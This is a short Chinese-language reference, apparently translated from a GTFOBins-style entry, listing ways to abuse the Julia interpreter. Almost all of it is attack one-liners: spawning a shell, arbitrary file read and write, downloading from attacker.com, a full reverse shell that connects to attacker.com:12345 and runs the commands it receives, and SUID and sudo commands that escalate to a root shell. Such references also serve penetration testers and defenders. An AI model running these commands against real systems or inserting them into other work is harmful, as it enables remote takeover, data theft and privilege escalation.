用来生成一个交互式的系统shell。
julia -e 'run(`/bin/sh`)'
从文件中读取数据。
export LFILE=要读取的文件路径
julia -e 'print(open(f->read(f, String), ENV["LFILE"]))'
将数据写入文件中。
export LFILE=要写入的文件
julia -e 'open(f->write(f, "DATA"), ENV["LFILE"], "w")'
下载远程文件。
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
julia -e 'download(ENV["URL"], ENV["LFILE"])'
向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. export RHOST=attacker.com
export RPORT=12345
julia -e 'using Sockets; sock=connect(ENV["RHOST"], parse(Int64,ENV["RPORT"])); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./julia -e 'run(`/bin/sh -p`)'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo julia -e 'run(`/bin/sh`)'